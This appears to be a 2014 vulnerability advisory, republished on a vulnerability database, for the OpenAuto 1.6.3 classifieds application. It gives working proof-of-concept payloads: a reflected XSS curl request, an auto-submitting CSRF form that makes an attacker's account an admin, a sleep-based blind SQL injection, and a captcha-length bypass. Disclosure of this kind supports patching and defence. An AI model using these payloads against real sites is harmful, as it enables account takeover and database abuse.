openauto 1.6.3 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
OpenAuto 1.6.3 - Multiple Vulnerabilities. Reflective XSS, XSRF admin account exploit, Blind SQL Injectio

                                                Credit:Michael Brooks
Affects:OpenAuto 1.6.3
Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass
http://openautoclassifieds.com/
----------------------------------------------------------------------------------------------------
Reflective XSS by adding a onclick event handler.
http://localhost/openauto_full_v1.6.3/contact.php
Affected post variables:
seller_contact_id
listing
company
phone
from_name

XSS PoC:
curl -d &#34;from_name=Dave&phone=1-123-1234&company=Software
Testing&submit=Submit&[email protected]&captcha=on&listing=\&#34;
onclick=alert(1) j=\&#34; &seller_contact_id=1&news=1&subject=on&&#34;
http://localhost/openauto_full_v1.6.3/contact.php &#62; xss_test.html
----------------------------------------------------------------------------------------------------
PoC XSRF exploit make a user account of the attacker&#39;s choice into an
admin account:
&#60;html&#62;
	&#60;form action=&#34;http://localhost/openauto_full_v1.6.3/admin/listuser.php&#34;
method=&#34;post&#34;&#62;
		&#60;input id=&#34;company_name&#34; name=&#34;company_name&#34; type=&#34;text&#34; size=&#34;30&#34;
maxlength=&#34;30&#34; value=&#34;&#34; /&#62;
		&#60;input id=&#34;first_name&#34; name=&#34;first_name&#34; type=&#34;text&#34; size=&#34;30&#34;
maxlength=&#34;30&#34; value=&#34;badmin&#34; /&#62;
		&#60;input id=&#34;last_name&#34; name=&#34;last_name&#34; type=&#34;text&#34; size=&#34;30&#34;
maxlength=&#34;30&#34; value=&#34;badmin&#34; /&#62;
		&#60;input id=&#34;phone&#34; name=&#34;phone&#34; type=&#34;text&#34; size=&#34;30&#34; maxlength=&#34;30&#34;
value=&#34;12312341234&#34; /&#62;
		&#60;input id=&#34;alt_phone&#34; name=&#34;alt_phone&#34; type=&#34;text&#34; size=&#34;30&#34;
maxlength=&#34;30&#34; value=&#34;&#34; /&#62;
		&#60;input id=&#34;fax&#34; name=&#34;fax&#34; type=&#34;text&#34; size=&#34;30&#34; maxlength=&#34;30&#34; value=&#34;&#34; /&#62;
		&#60;input id=&#34;email&#34; name=&#34;email&#34; type=&#34;text&#34; size=&#34;35&#34; maxlength=&#34;50&#34;
value=&#34;[email protected]&#34; /&#62;
		&#60;input name=&#34;country&#34; onchange=&#34;getZone(this.id)&#34;size=&#34;1&#34;&#62;
		&#60;input id=&#34;state&#34; name=&#34;state&#34; size=&#34;1&#34;&#62;
		&#60;input id=&#34;city&#34; name=&#34;city&#34; type=&#34;text&#34; size=&#34;30&#34; maxlength=&#34;30&#34; value=&#34;&#34; /&#62;
		&#60;input id=&#34;address&#34; name=&#34;address&#34; type=&#34;text&#34; size=&#34;30&#34;
maxlength=&#34;60&#34; value=&#34;&#34; /&#62;
		&#60;input id=&#34;zip&#34; name=&#34;zip&#34; type=&#34;text&#34; size=&#34;6&#34;/&#62;
		&#60;input name=&#34;user_level&#34; value=9/&#62;&#60;!--a value of 9 makes this an
admin account--&#62;
		&#60;input id=&#34;user&#34; name=&#34;user&#34; type=&#34;hidden&#34; value=&#34;badmin&#34; /&#62;
		&#60;input id=&#34;id&#34; name=&#34;id&#34; type=&#34;hidden&#34; value=&#34;5&#34; /&#62;&#60;!--Make sure
this is the user ID of an account you control!--&#62;
		&#60;input name=&#34;submit&#34; value=&#34;update&#34; /&#62;
		&#60;input type=submit id=s&#62;
	&#60;/form&#62;
	&#60;script&#62;
		document.getElementById(&#39;s&#39;).click();
	&#60;/script&#62;
&#60;/html&#62;
----------------------------------------------------------------------------------------------------
Blind SQL Injection.  You must a dealer and you must be editing a
listing that you have posted.
PoC:
curl http://localhost/openauto_full_v1.6.3/editlisting.php -d
&#34;ad_title=test&make=Acura&model=test&vehicle_type=4X4&doors=&color=&mileage=0&year=0000&listing_condition=&engine=&trans=&drive_train=&mpg=0&fuel_type=&price=0.00&adddesc=&vin=&stock=&country=&state=&city=&address=&zip=&seller=someuser&id=sleep(10)&submit=Update+Listing&#34;
Resulting query:
UPDATE listings SET approved = 1, ad_title = &#39;test&#39;, make = &#39;Acura&#39;,
model = &#39;test&#39;, vehicle_type = &#39;4X4&#39;, doors = &#39;&#39;, color = &#39;&#39;, mileage
= &#39;0&#39;, year = &#39;0000&#39;, listing_condition = &#39;&#39;, engine = &#39;&#39;, trans = &#39;&#39;,
drive_train = &#39;&#39;, mpg = &#39;0&#39;, fuel_type = &#39;&#39;, price = &#39;0.00&#39;, adddesc =
&#39;&#39;, features = &#39;&#39;, vin = &#39;&#39;, stock = &#39;&#39;, country = &#39;&#39;, city = &#39;&#39;,
state = &#39;&#39;, address = &#39;&#39;, zip = &#39;&#39;, sold = &#39;0&#39;, sellerid = &#39;4&#39;, seller
= &#39;someuser&#39; WHERE id = sleep(10)
----------------------------------------------------------------------------------------------------
PoC this request will result in a capthca of only a single charicter
to be dispalyed.
http://172.16.111.128/Audits/other/openauto_full_v1.6.3/Captcha.php?characters=3&len=1
After this request the $_SESSION[&#34;security_code&#34;] will be overwritten
and any captcha on the site will now be chaicter in size.

This list is 53 chaciters long,  thus a blind bot has the chance of
1/53 of guessing the correct answer.
$possible = &#39;23456789abcdefghjkmnpqrstvwxyzABCDEFGHJKLMNPQRSTVWXYZ&#39;;

Vulnerable code:
./openauto_full_v1.6.3/Captcha.php line 36:
$len = isset($_GET[&#39;len&#39;]) && $_GET[&#39;characters&#39;] &#62; 2 ? $_GET[&#39;len&#39;] : &#39;6&#39;;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1